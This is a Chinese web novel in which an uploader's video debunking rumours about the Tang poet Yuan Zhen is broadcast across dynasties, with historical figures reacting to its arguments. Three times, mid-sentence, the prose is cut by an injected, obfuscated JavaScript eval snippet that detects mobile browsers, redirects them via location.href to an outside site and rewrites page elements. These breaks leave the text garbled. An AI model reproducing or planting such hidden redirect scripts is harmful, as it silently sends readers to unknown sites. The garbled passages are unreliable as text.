《我靠历史直播破除洗脑包》 1. 开篇 天蓝,风清,草绿。 陈钰从电脑面前抬起头,眨眨干涩发红的眼睛,捏捏发僵的手指,极目远眺。只见一只风筝被卷在波涛般的云中,在高处站得极稳。 “儿童散学归来早,忙趁东风……” 她往下一看,发现风筝线竟然被牵在一个笑得慈祥的退休大爷手中,悻悻然吞下了还没吐出的几个字眼。 他笑的真开心。 陈钰脑中蹦出这几个字,却无奈摇头,使自己的颈椎发出清脆的响声。 真累啊……不管是网上对着那么多一知半解的人辟谣,还是写辟谣条,或是像刚才一样,从零开始做一个辟谣视频。 陈钰恹恹。她坐回电脑桌前,点击上传视频。 C站跳出了一个又一个上传视频的相关条款。 “可恶的C站的条款为什么这么多?” 逐渐地,陈钰失去了耐心,不再阅读条款,点“同意”的速度快到她怀疑鼠标内部都起了火花。 “好好好,终于点完了……还好网络给力,为了做个视频我午饭还没吃呢……饿死了……” 于是她离开了房间,也没看到突然开机的电脑,和…… 【您的视频已经被上传到诸天万界。】 —— 元和元年,唐宪宗李纯登基。 一年历经三个年号的改易,纵是好易年号如高宗、武后,也未尝有。当今皇帝更是少年早熟,更不至于任性至此。 只因这一年确实换了三次皇帝。 “象魏才颁历,龙镳已御天。犹看后元历,新署永贞年。”①白居易看着元稹的新作,颇有种恨铁不成钢之意,“你怎么在这多事之秋写这种诗?二王八司马②被贬,当今圣人对永贞那场革新的态度可不算好。” 元稹抿唇,眼中带着些执拗,把另一篇新作推到白居易面前。 白居易也是知道他这好友的脾性,这是就个宁折不弯的。 所幸他当年看出二王八司马革新目的虽好却树敌过多,还未真正掌权就开始内部党争,背后依靠的唐顺宗又中风失声后,成功劝了元稹不要掺和进这个泥潭,不然这位刚开始自己仕途的校书郎,很难不走上与二王八司马相同、被贬远乡的结局。 想到八司马中与自己年龄相近的才子刘禹锡、柳宗元,白居易不得不叹息一声。他接过元稹新作,看了题,愤然起身。 “《永贞二年正月二日上御丹凤楼赦天下予与李公垂庾顺之闲行曲江不及盛观》!元微之你在做什么?还好你只是一个小小的校书郎,否则你下笔如此,必定会被贬到不知哪个蛮荒之地去,又何谈革除朝廷旧弊,造福百姓?” 一向温柔的好友动怒,元稹也不好再在此处抒发自己对革新的向往。他想调侃一二宽友人的心,却听到一阵奇怪的声音,如丝竹,又与之迥异。 二人齐齐循声望去,只见—— 天生异象。 云生结海楼。 长安的人们,洛阳的人们……各方各处的人们抬头看天,更有不少人直接跪地,以为上天示警,人间将有大灾。 宫中的唐宪宗李纯,这位在宦官拥护下夺取了父亲皇位,改“永贞”为“元和”的天子,更是眉头紧皱,疑是自己囚父夺位恼了天道,又觉得真是天罚,早该降临,何必现在罚他。 天上那发光的长方状云朵出声了,变幻了,显字了。 【大家好,我是除夕,一个苦历史洗脑包久矣,最后决定自己做视频辟谣的up主~ 话不多说,我们来引入今天的主人公——元稹。】 —— “元稹?”李纯思考,觉得这名字好像在哪里听过,又想不起来。 他不知道,此刻的诸天万界突然听到这个名字,疑惑的人不知凡几。甚至有几个唐宪宗以前的急性子的君王已经派人开始寻找这位“元稹”,毕竟能被仙迹点名,必有过人之处。 那些聪明的帝王们却想,这“辟谣”一词,辟除谣言便是申冤。这位“元稹”,既然能请动天上仙子为他申冤,可见冤情之甚,何以寂寂无名? 不知道“诸天万界”的皇帝们都以为仙迹是独属于自己一人的。 不同于古人不得其解,后人有所明悟,元和年间的长安城掀起了一小场风暴。一个刚卸职的校书郎转身问起身边的朋友:“我们身边那个元九……不就是叫元稹的?几天前还一起联过诗。” 朋友皱了眉头:“确实,前几年的书判拔萃科,我们还是一起考的。可微之才高,有什么要天幕‘辟谣’的?总不会是有人说他科考作假吧?” 病重的韦夏卿本在闭目养神,却听得外面神迹叫了女婿的名字,连忙召了下人来,把自己搬到了窗前,好歹看到了天幕。 元稹是他欣赏的后辈,是他小女的丈夫。他眯着眼看向天空,心中是和长安一些人一样的疑惑:他的人生才刚刚开始,为什么天上仙子要为他申冤呢? 【先介绍一下主人公,大家有特定谣言要了解的可以自己调进度条。 元稹,字微之,中唐文学家、政治家,北魏昭成帝拓跋什翼犍十九世孙,与挚友白居易并称‘元白‘。白居易大家都不陌生,毕竟高中课本上那篇大长篇《琵琶行》难背的让人记忆犹新,他的《长恨歌》也是每个中国人都听过的华夏名篇。 元稹的著名作品是《连昌宫词》、《离思(五首)》、《思归乐》,如果这些都没听过,名句‘曾经沧海难为水,除却巫山不是云’总不陌生了吧? 他们两个共同主导了新乐府运动,旨在恢复古代的采诗制度,发扬《诗经》和汉魏乐府讽喻时事的传统,使诗歌起到‘补察时政’,‘泄导人情’的作用,强调诗歌的现实主义精神。这是中国诗歌史上一次非常重要的改革,他们的诗歌从唐朝红到现在,唐朝儿童张口能背,现代神仙打架的义务教育篇目也有他们的身影。 做官方面呢,元稹在中央虽然一度官至宰相,但因为直言敢谏,一生大部分时间因为得罪别人被贬;在地方,他也为百姓做了很多。四川达州,也就是唐朝的通州,现在还有纪念元稹的‘元九登高节’,他的功绩没有因为朝代更迭随水流去,他被淳朴的人民一代代纪念了下去。】 “这是个好官啊!”地上的百姓们没听懂开始的“进度条”,干脆也不去想,只是纷纷想着,“天上的仙子都夸他了!” 通州的少年佃农撑着锄头吐气,虽然不知道贬是什么,但他想这个好官赶紧被贬到通州来,这样他们就可以活得好一点! 监工看见少年不动,跑过来扬起鞭子。少年赶紧抡起锄头,往地里挥。 金屋里的地主却为这个“好官”求起了官运亨通。只要他不被贬,自己怎么搞百姓都不会被清算!这么受百姓爱戴的官员,那是扒了多少个地主多少层皮才堆起来的啊! 长安的白居易和元稹也为诗文传世、理想实现,为后世百姓的纪念高兴。但元稹四次遭忌被贬触目惊心,白居易无法想象自己身在朝廷不会为自己被自己、被后世仙子的神迹认定的挚友辩驳。 真相只有一个了。 白居易看向还笑着的元稹,在惊愕中听到他自己说:“微之,你被贬了,我们都被贬了。” 这明显不是一个令人高兴的消息,而且现在也不是高兴的时候,因为面前摆的这一叠纸。 那是《贞元历》、《永贞二年正月二日上御丹凤楼赦天下予与李公垂庾顺之闲行曲江不及盛观》,还有一些别的“罪证”。 天幕大夸他们,陛下一定会派人查他们的,而这些诗,说严重点就是反诗。 于是元稹一伸手,把它们放到了火上,最后几颗火星随他手扬起,消失在空中。 他朝白居易眨眼:“没事乐天,这些诗我会背的。” 巫山沧海一句,却如火星烧了油锅下的柴火,沸腾了明清百姓的心。 “我知道!前天说书先生讲过,这个人写了巫山沧海怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988072|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念亡妻,但他马上娶了别人!还找了好几个小老婆!” “更可气的是他当时和他表妹淫奔,还为了攀附有钱的大官人抛弃表妹娶了新妇!” “文采好又怎么样?渣男!” 北宋范仲淹从案牍中抬头,感叹元稹少年多才刚强,又惋惜他晚年失节。而身边人痛骂元稹勾结宦官时,他却是众时空臧否元稹的人中难得为元稹说句公道话的。 “吾闻夫子褒贬,不以一疵而废人之业也,因刻三君子之诗而伤焉。”③ 若才能只有讨好宦官才能被皇帝看到,为了天下苍生,抛弃自己清白的名节又有何妨? 不过先天下之忧而忧,后天下之乐而乐。 “有君子之文,无君子之行”④、“为人所贱如此”⑤、“末为小人之归”⑥……文人们不解神迹为何要为这么一个渣男、奸臣辩驳,那一句句批评都写在他们读过的经典里,在人格上判了元稹的死刑。 难道就因为他有才?还是因为他好道教?可有才好道教也不妨碍他是小人啊!⑦ 【但后人们记住的不是他卓越的文采和政绩,是他的风月谣言和所谓的嫉贤妒能、人品低劣。 经过现代专家研究,元稹在婚姻方面保持一夫一妻,只有晚年在武昌时才有妻子裴淑和侍人李氏同时存在的情况。妻子去世后续娶在现代都挑不出毛病,身边只有爱妻在古代更是深情的人伦典范。 他没有初恋,崔莺莺是小说虚构人物。他没有巧婚,娶妻韦丛是岳父钦点,自身也没有从这段婚姻中得到什么天大的好处。他没有外室,与薛涛、刘采春的绯闻是无中生有。 他没有打压李贺、刺杀裴度、晚节不保,终其一生都坚持了“我心终不死,金石贯以诚”的人生格言。 因为谣言太多难以一次性讲完,我们把谣言分为“风月”和“人品”两个板块。】 元稹以前的帝王听到“中唐”这个时代以后就歇了找人的心。他们依旧疑惑为何苍天要放一个与这个时代无关的神迹在天上,但这并不妨碍他们把这天幕神迹当消遣听。 作为一个政治家,隋朝皇后独孤伽罗却被天幕所说的后人一夫一妻吸引了。被造谣抹黑,她在历代史书里见得多了,最多只是同情一下这个被造了这么一大堆谣的可怜虫。这一夫一妻,却是正中她的心坎。 “阿坚,神灵先使我们试婚,再有后人一夫一妻。” “伽罗说的极是。” 独孤伽罗笑了。朝堂总是不时闹出劝杨坚纳妃的笑话,今日有神迹依托,她看那群大臣还要如何把善妒的帽子扣到她头上。 帝后为天下典范,自然应当执行那被神迹推崇的“后人一夫一妻”。 元稹本人则抛下白居易直奔后院,知道看见那个荆钗布裙的身影才停下了脚步。 他慢慢走上前,把韦丛揽进怀里。 “微之,我还活着。”韦丛笑着挽起他的手,“先出去,一堆客人要来拜见你呢,未来的元相公。” 西川的女校书薛涛停了手中的琵琶,浙东的歌伎刘采春止了戏谑的歌喉。 薛涛回想自己的半生,有百花宴上技惊四座,有流放边塞历尽苦寒,她尝了人间冷暖,可她从没有认识过一个叫元稹的人。 长安传来那篇优秀策论的作者……元稹……白居易……应该是他。⑧ 可是她如今已经四十,那元稹才二十多啊!他们是怎么传出的谣言啊! 刘采春更是恍惚:“越州刺史元公吗……我为他们演参军戏时我可是有丈夫的啊!” 客帐中的李贺和河南府功曹裴度也不可置信地抬了头。他们都见过元稹的策论和诗词,并不相信他会是小人。 “后人如此造谣,真的不会遭天谴吗?” 于是明代一个文人问:“那就算这些不是真的,元稹七八十岁和白居易换妾总是真的了吧?” 然后他就受了发小的一个脑瓜崩:“元稹五十三岁就死了啊!” 2. 元稹(1) 李纯还没来得及问身边的宦官“元稹”是何人,天幕就帮他想起来了。 他记得《莺莺传》,这篇传奇在几年前使长安纸贵,很难想象这只是一个少年投给高官的行卷。 李纯素有大志,追慕着贞观开元的大唐,想要让藩镇节度使的权力回到中央。元稹既然有能力,他便敢提拔。即使以后这人不能帮他向藩镇挥刀,也能外放去地方做一员大吏。 而白居易——虽然他还没看这二人合著的《策林》,但这书能在他的桌上摆着就能证明这是个有主张有能力的。元稹被天幕夸了,又被说刚直,白居易是他一生挚友,可见其为人。 总是那句话,人才入朝,不能帮他政斗,放去地方也是好的。 宫里的太监带着新皇的邀请往元稹家的方向疾驰而去。 【第一个部分:《莺莺传》(《会真记》)自寓说及辩驳。 《莺莺传》是三大传奇之一,又名《会真记》,是元稹于贞元十八年投出的行卷。讲了张生与崔莺莺恋爱,之后又将她遗弃的故事。 《莺莺传》的文学价值很高,社会影响也很深远。 它在唐传奇的发展中有里程碑式的意义。《莺莺传》之前,唐传奇总带有一些玄幻色彩,《莺莺传》以后则开始描写世俗生活中的风土人情。简单来说就是《莺莺传》在当时的巨大影响使文学落地了,这种文学理念的变化或许与元白对现实主义诗歌的推崇和他们文坛领袖的地位有关。 在唐朝之后,《莺莺传》被多次改编、被重新演绎,如宋代赵令畤的《莺莺传》话本、《莺莺六幺》杂剧,金代董解元的《西厢记诸宫调》,明代有李日华《南调西厢记》,清代有沈谦《翻西厢》传奇等。 最出名的演绎是元代著名戏曲家王实甫的《西厢记》,更出名的是《红楼梦》里宝黛共读西厢的情节。《红楼梦》这种中国古典小说巅峰之作都有这千年前的影响,我们不得不说《莺莺传》的影响实在是太深远了。】 “快快!唐以后是宋,宋以后是金,金之后明,明后面清……元代?元代又在哪里?” 这可不是什么该被消遣掉的内容。 神迹预示模糊不清,不知道还有没有错。前几朝的帝王们恨不得肋下生双翼,飞到天尽头,好一窥之后是怎么改的朝换的代。 王实甫方辞官,一头扎进关汉卿的“王京书会”,觉得这书场中比蝇营狗苟的官场痛快许多。 他执笔蘸墨正要续作,听到天幕说他将是著名作曲家,心中也是畅快。 官场留不得他,他便在外面闯出千古留名。 茫茫大雪中,曹雪芹也笑,又伸手去接自己笑出的白气。 天冷啊…… 墨冻了,没得热水浇;衣单了,未有裘衣绕。 纵然贾府热水裘衣无数,千万的人啊,也只是落得个白茫茫大地真干净。他的《红楼梦》,不,《石头记》能成为小说的巅峰,谁知以后如何…… 但必不会像他的家,如云般聚了,又如云般散了。 【首先,我们要知道,《莺莺传》是一篇传奇,按现在的文体划分会被划入小说。 大家上小学的时候应该都有这种经历。上课的时候,老师说《故乡》是鲁迅小时候,但考试的时候老师就会强调:试卷上不要说《故乡》是鲁迅的自传! 如果阅读理解是第一人称,老师就会强调要给答案里的“我”打引号,因为这是小说,所以“我”只是一个小说主角,与现实毫不相干。 一本书的体裁只要定为小说,那其中必然包含虚构部分。就连《莺莺传》里写《会真诗》的那个“河南元稹”都不能说是现实的元稹,更不可以把主角张生和作者元稹等同。 《莺莺传》既然不是回忆录而是小说,张生就不是元稹。】 已经被现代“义务教育”震撼过的古人们选择性忽略了天幕讲的小学事件。他们确实听过了,也确实听不懂。 《莺莺传》是回忆录不是小说,有虚构性,这点他们认可。 但要用这一点帮元稹脱罪绝不可能被他们认可。 赵令畤放下刚从书架里被取出的莺莺传自寓说手稿。若天幕只说这些,他也不必再取出自己认为自寓的证据,来与天幕隔空辩驳了。 小说有虚构性,谁知道里面虚构有多少啊? 他惊讶于自己的猜测在千年后被奉为主流,但他的理论并不是空口无凭。他相信自己与天幕还有一辩之力。 【自宋朝的赵令畤和王性之提出自寓论后,直至现在,论据并没有增加,但自寓说信奉者逐渐从当年那两个人变成了所有人。】 真是够无聊的。赵令畤想。他本以为千年过去了,后人是找到了什么决定性证据才把自寓说推为公论,没想到他的不成熟猜测成为公论似乎只是因为八卦、瞎传和盲信。 还不如他自己醉心《莺莺传》的研究。 【元稹一度为相,随即被贬,后代中也并没有特别有政治影响力的人物。挚友白居易虽然有表弟白敏中官至丞相,但在你死我活的牛李党争中,白敏中是铁杆牛党,元稹则偏向李党。 王、赵所在的宋朝,宋太祖开宝三年、宋真宗大中祥符九年四月反而专门表彰了元稹后代。① 所以不存在因为唐朝高压使元稹年少艳遇无法流传的条件。】 “党争”、“你死我活”。 这两个词让唐朝的皇帝们,尤其是李纯脸色一变。这种官员分立的制衡方式他们并不陌生,有手段的君王会用各种方式制衡官员巩固自身权利,但这远不到你死我活的地步。 “或许是这些官员就像是党锢之祸的宦官和清议党人一般?”他们猜测。 北宋中后期的官员们淡定看天。 不就是你死我活的党争吗?他们的旧党新党交替着掌握朝政已经不知道多少年了,换掌权者时把对立党派都贬出京也成了大宋特色。 不知道什么时候开始,执政党贬人就开始专门往条件恶劣、路途遥远的州郡贬:这是一场针对对立党人的谋杀。 什么?你说可以不加入党派? 你以为你是苏轼吗? 【在元稹去世几十年后,造了他和薛涛、刘采春谣言的《云溪友议》横空出世,可见唐人对于名人的绯闻并不讳莫如深。这种情况下元稹少年如果真的有始乱终弃,《云溪友议》不记载,唐人其他笔记小说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988073|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不记载? 这就像最近那个笑话:骆宾王恨武则天写了《讨武曌檄》,骂遍武则天所有能找到不能找到的缺点就是对重大污点杀女只字不提,综上骆宾王对武则天爱而不得~ 后来证实所谓武则天杀女果然是进了《新唐书》的谣言一则~】 如果古人知道后人的“破防”是什么意思,此刻一定有很多人会说自己破防了。 骆宾王随徐敬业起义反周,刚传檄四方。徐敬业赞叹骆宾王的檄文有陈琳声讨曹操之檄文一般的气势,可刚赞叹不久,他就听到了天幕令他脸色发青、面部扭曲的话。 观光对那妖后爱而不得…… 骆宾王只觉得反胃。他素来清高孤傲,耻于自炫,行事颇有些不撞南墙不回头的风格。与窃国之人并提已经足够令他难受,突然被套上“爱而不得”更是…… “哪个造的谣!后人饱食终日,修史碌碌,竟轻言是非对错,将这等谣言载入正史!” 那金阙上的大周皇帝笑了。 “一抔之土未干,六尺之孤何托……②如此人才,未使重用反令其流落敌军阵中,宰相之过也!” 皇帝咀嚼着她前几日的怒火,颇有闲心地想,若这骆宾王真能改邪归正,或许可以给他一个才人之位。 她对真正有才者向来是宽容的,且看那狄怀英,那拂过她面子的,不还在朝堂上待得好好的? 反正这骆宾王,骆观光又不可能投降。他能传檄天下讨伐她,她如何不能传假消息要纳他来离间反贼? 北宋,一直记着天幕言语的欧阳修搁下笔。 他编《新唐书》时,总觉得《旧唐书》的历史考证不够完善,史料内容不够丰富,故常出入馆阁。 馆阁内史料极多,却散乱错杂难以整理,更有一些书籍敷衍前史的猜测成章,虽然勉强上下相续,却总让人疑惑真伪。③ 他谨慎思考过这种史料是否应该进入《新唐书》,为此他常与身边同僚讨论。一日,他与年轻的馆阁校勘相谈甚欢,自然谈起此事。 馆阁校勘给了他回答。 “监前世之兴衰,考当今之得失。嘉善矜恶,取是舍非。足以懋稽古之盛德,跻无前之至治。俾四海群生,咸蒙其福。”④ 修史的作用是为了以古为鉴,因此他将那些或许可以成为镜子的难以考证者记入《新唐书》,渴望后人因此不犯书中之过。 他的确有错,官修史书是最参考有价值的史书,其中如果出现谬误,影响甚大。史书是以事实为基础的,事实容不得半点模糊,笔者可以有自己的倾向猜测,但那也仅仅是“笔者以为”,如那著名的“太史公曰”。 而作为这个时代的文坛领袖,他也太明白大宋文坛的风气,写任何抒发个人观点的东西都多是为批判现实,尤其是借古讽今的厉害。 这臧否不因为他的地位而特殊化。 欧阳修提笔,开始构思他对于重新对《新唐书》进行历史考证的宣言。 或许他马上会收到学子的声讨?又或许圣俞⑤会给他写信与他调笑,劝他看淡? 北宋的文坛领袖淡然笑着,倏尔想起家中未起封的酒,敲了敲自己的脑袋。 3. 元稹(2) 【到了现代,《莺莺传》自寓说被质疑,成为了历史专家们辩论的一个题材。】 “原来神迹所在的时代是现朝。”乾隆想。他还记得自己祖父时的《康熙字典》把“现”字解释为玉石,想来神迹所在的时代也以此命名自己的王朝。 竟然有人会以易碎的玉石命名自己的国家!乾隆不解,却能感到那人视国为珍宝、民为子女,定是一位豪杰。于是他决定为这位素未谋面的豪杰写一首诗。 至于“现”字有当前的意思……哈哈,谁会用猝逝“当前”形容自己的朝代呢? 元稹在靖安坊的家里时刻迎来客人。他们有的一边感叹未来相国现在竟然如此穷困,一边认为这是自己投资的好机会——别管此刻他是不是官员,以后他会不会得罪人被贬,只要他当上相国,指头缝里漏的好处都多多的呢! 元稹就这样陷入了热情和金银的漩涡。他知道这些人有所求,也知道自己现下的穷困,更知道穷困的后果。 他早年丧父,家里没有经济来源,母亲和兄长为了养活家里的孩子,几乎沦为乞丐。 可也正是这段经历,他看惯了人间疾苦,知道多少光鲜亮丽实际上都是剥了百姓身上的单衣。他此刻收了资助,以后如果有人借着他的名义,将手伸向穷苦人的最后一粒米,他又该怎么办呢? 白居易从一个希望与他结亲的客人手中挣脱出来,看见同样被各家夫人围住的韦丛。 元家的孩子被快速送去岳家了:这场合毕竟不适合他们,他们身体也不好,难在马上会变得人挤人的厅里待。 他叹一声:“诸位先听天幕吧,马上要讲到大儒辩经了。” 天幕似乎听到他的叹息,吐出大段文字。 【王性之认为张生是元稹自寓,根由是他将张生的生平与元稹对应,找到了一些可以重合的地方。他以此为论据提出这个理论。 第一,王性之友人杨阜公说自己曾经看过元稹为姨母郑氏所作墓志铭,里面有一句“其既丧夫,遭军乱”,且元稹保护了他们家。这段经历和《莺莺传》主角张生相应,有三个锚点:姨母郑氏、军乱、保护一家。 但是王性之也在《传奇辩证》,即《辩〈传奇〉莺莺事》里说,他自己去找了元稹的文集,里面找不到这篇墓志铭。 就是说王性之在自己根本没看到墓志铭是怎么写的情况下,直接用墓志铭指元稹为张生。 元稹的文章还在当时多有伪作……对这条“证据”,大家就见仁见智吧。】 是的,他确实至今没找到元稹写给姨母的墓志铭,但如何元稹没有写过?他那时只是忘记问杨阜公这篇文章到底从何而来而已。 王性之为自己略微不平一下,又去看天幕。他并不只有一条证据,且看天幕能否将他完全驳倒,如果可以,他再写文章向众人认错。 左右那个被秦桧把持的朝堂已经容不下他,能伴他身边的只有庭中书、天上云。即使这或许有损他的名声,他现在又有什么可以舍弃的呢? 【王性之认为元稹母是荥阳郑氏,张生姨母也姓郑,他们指定有染……关系。可郑姓是唐朝大姓,唐传奇也常用顶尖世家五姓,即李崔郑卢王作为人物姓氏。 比如和《莺莺传》齐名的《李娃传》男主姓郑,女主姓李;著名的《霍小玉传》男主姓李,女主……虽然姓霍,但她和李唐皇室有关系,改姓霍之前也姓李。 同是郑姓并不能说明张生姨母和元母郑氏有关系。】 薛元超点了点头。他一生富贵非凡,却有三件憾事根植在心。 门荫入仕而不是进士登科,没娶到五姓的高门贵女,也没参与国史的编修。 这元稹母亲是五姓七望的荥阳郑氏,姐妹嫁的崔氏可能就是清河崔氏、博陵崔氏。崔莺莺既然可能出生这等名门,若元稹真有这么一段恋情,有何理由要去抛弃她另找妻子? 唐高宗的宰相并不能理解这种荒谬的做法。 【第二,王性之提出张生和元稹的年龄问题。 他认为“庚辰十六年(是岁微之年二十二,未近女色。崔氏年十七,《传奇》言于今之贞元庚辰十七年矣)”,又通过《莺莺传》说张生在贞元十五年“年二十三”,认为张生和元稹是同年同岁,以此论证自寓。 但引发崔张恋情的蒲州军乱,至少发生于贞元十五年十二月浑瑊去世之前,证明此时救护崔莺莺一家时张生已经23岁,次年崔张相恋,此时张生24岁,与元稹不符。 元稹出生于大历十四年,到贞元十五年21岁,十六年22岁,和张生相差两岁。 至此可以推翻这条论据。】 贞元十五年蒲州军乱。 李诵记下了这个时间,又只能无奈。他手中的大唐已经千疮百孔。 长安在祖父和父皇的手中的再三失落已经让他困顿,无法再去做一个在祖父面前听他讲述安史乱前长安之盛的天真梦。 节度使叛变,军乱四起,他此刻记住一个蒲州军乱的时间又有什么意义呢? 至于浑瑊,他的确是平定安史之乱后难得还未故去的老将,值得倚重,可分身乏术。 于是他将目光投向西川。 西川节度使,正在成都的韦皋。 【第三,王性之把张生和元稹同年结婚认为自寓说的关键论据之一。 韩愈《监察御史元君妻京兆韦氏夫人墓志铭》说元稹结婚与他二考科举同年。 元稹总共考过三次科举,第一次贞元九年两经及第,第二次贞元十九年中书判拔萃科,第三次元和元年中才识兼茂明于体用科,没有一次落榜。此处歪个楼,up真的很羡慕!up也想要这样的大考通过率! 咳,所以,元稹结婚在贞元十九年。 张生呢?已知崔张在贞元十六年恋爱后几个月分开,“明年,生文战不利”,此时是贞元十七年。 张生落榜后崔莺莺写信勉励张生,其中有“春风多厉”,所以张生在贞元十七年春天落榜。 之后一年多,“张亦有所娶”。这个一年多的时间虽然模糊,但春天是一年的发端,所以张生娶妻大概率是在贞元十八年,难以到达元稹娶妻的贞元十九年。 以上,该观点反驳完成。】 农妇困顿地看着天空:“亲家妹呀!这天神说说叨叨说了这么多,我怎么越来越听不懂了啊!” 编苇的女人已经不去看天,只呸了一句:“大姐,这天幕我也听不懂!反正只要知道那个元什么被冤枉了一千多年就可以了,其他的什么书,我们是怎么听也听不懂的!” 说的也是。 农妇还听着天幕,却多分了点精神给眼前的活计:“你说这些人怎么就那么闲呢?听个说书还要把书里的东西和写书的干了什么对对。” “人家大老爷有钱有闲,有那时间呗!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988074|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【最后,张生曾经落第,“明年,生文战不利”。而元稹十六岁登科,一生从未落第。 王性之自己都曾经用张籍比张生早两年考中进士来否认苏轼的“张籍是张生原型”观点,那按照他的逻辑,张生落过第,元稹一举夺魁,他们的生平有明显出入,再加上不同岁、不同年结婚。 所以张生并不是元稹。】 此刻的张籍正在元稹家中。 他也算看到天幕来造访元稹的人之一,可他和那大部分人的来意不同——毕竟他可是朝野闻名的“穷瞎张太祝”①,怎么可能有余钱资助未来的元相国呢? 他是来看后辈的天幕热闹,顺便慰问一二的。 可这热闹看着看着,天幕就飞出一口大黑锅,把他砸得眼冒金星。待他回神,那些揪着未来的大官人嘘寒问暖的人们已经对他投来了好奇的目光,好像在说:看,这里又有一个被《莺莺传》祸害到的倒霉鬼! 苏轼!我记住你了! 对着满座大小眼,张籍唯一能做的就是保持他的的愤怒。 “这王性之怎么能这样呢!这苏轼怎么能光凭一个姓氏就污人清白呢!” 王性之点了一炷香。 天幕陈述时他也在反驳。元稹诗文遗失甚多,可能元稹的确写过给姨母的祭文却遗失,他才遍寻不见。元稹生平和张生生平差一两年更没有什么,如果真是自寓,一两年的差距用来掩人耳目也并不奇怪。 天幕驳倒他的话是他自己的观点。 他当年以两年之差否认张籍是张生,现在就必须以这一两年的差距和落榜与否来承认元稹不是张生。 【王性之在《传奇辩证》后还写了六百多字的《微之年谱》,按照编年简述了元稹的生平。其中多有谬误。 如年谱说元稹于丁亥戊子二年授监察御史,但丁亥为元和二年,戊子为元和三年,元稹在元和元年到三年丁母忧,四年才出任监察御史。】 ……今年是元和元年。 韦夏卿突然惊起,按着心脏喘息。他如今身体不好,怎么这天幕说的茂之和他就像前后脚走的一样? 他们夫妻和睦,也没什么人时时刻刻在气茂之。那为何…… 他的小女儿,得的只怕是穷病啊…… 元稹推开面前在努力与他拉关系的同僚,盯着天幕跑出门,又跑回来抓住韦丛的手。 母亲会在今年去世,妻子会死在他任监察御史的时光中——而他马上会成为监察御史。 “茂之……”他说:“我要回洛阳去见母亲,一路上车马颠簸,你要不要回岳丈家住几日?” 韦丛也惊于自己的寿命,想了想,还是说:“我还有至少四年的功夫,不如我陪你回去看母亲,也好照顾一二。母亲一个人把你们兄弟四个带大,年纪大了不能再受苦了。” “孩子还小,还需要人照顾。你就在这里待着,母亲通情达理,不会说你什么。照顾母亲的事,我还没授官,不忙。我可以去做。” “微之!”突然有人高喊。元稹皱着眉焦急望去,却听那人喊到:“我认得药王孙思邈和食疗大医孟诜的后人!” “可否介绍……”元稹突然想起自己的穷困。 那人也看到元稹家徒四壁,道:“我将他们请来后,钱财包在我身上!” “稹在此谢过。”元稹一改众人印象里的的活泼诙谐,郑重谢了未来的同僚。 4. 元稹(3) 【然后我们来看看从人情角度来说,莺莺传中张生是元稹自寓的离谱点。 另外说明一下,前面反驳王、赵自寓论的论点全部出自相关论文,接下来的论据出自up和其他持反对论点网友的推测。】 “网友……仙人原来是这么称呼仙友的吗?” 嬴政还在批着他今天的公文。虽然天幕所讲的事情与大秦无关,但他还是分出来一丝注意力,务求保持对神迹的尊敬。 自从知道仙人自称“阿婆”以后,他疑惑过为何仙人用年轻的声音讲述,却使用如此衰老的自称。他想,要么是仙人鹤发童颜,要么是仙人交流都用这种自称。 ……之前揽入手心的自称“朕”突然不那么吸引人了。 他确实从天幕的话语里听出这是讲给千年后人听的,可能把神迹跨越千年时光降下绝对是神仙伟力,只有仙人才能做到。瞧这仙人对民讲授毫不避讳神仙身份,嬴政只觉得那是千年后的世界神仙亲自开业授徒,不再于凡间隐藏身份。 那为什么现在的仙人搜山检海都见不到一个? 嬴政想想后人,羡慕极了。 【第一,元稹是白居易一生的挚友。白居易大家应该了解多一点,毕竟他陪着我们走过了整个义务教育阶段,老师在讲到他的诗歌是肯定会顺手放一下他的生平。 白居易,字乐天,是杰出的现实主义诗人,被后世称为“诗魔”、“诗王”,诗作风格浅近亲切,是新乐府运动的领导人之一,在现代人的唐代诗人知名度应该仅仅略逊于李白杜甫。 历代史书大多都对白居易予以肯定,不管是才华、人品还是为国、为民。 白居易写过一篇著名的《井底引银瓶》,其中有两句这么写: “为君一日恩,误妾百年身。 寄言痴小人家女,慎勿将身轻许人!” 白居易写《井底引银瓶》的目的他自己也曾在序言里讲过,“止淫奔也”。他告诫女孩不要因为爱情离开庇护自己的家庭,把自己托付给不该信任的男人。 在白居易旗帜鲜明反对“淫奔”和“始乱终弃”的情况下,如果元稹真的有始乱终弃的行为,他们怎么能“死生契阔者三十载,诗歌唱和者九百章”①呢? 白居易的品行值得肯定,他选择的挚友,又会比他差到哪里去呢?】 自己以后成为了比肩李杜的大文豪。 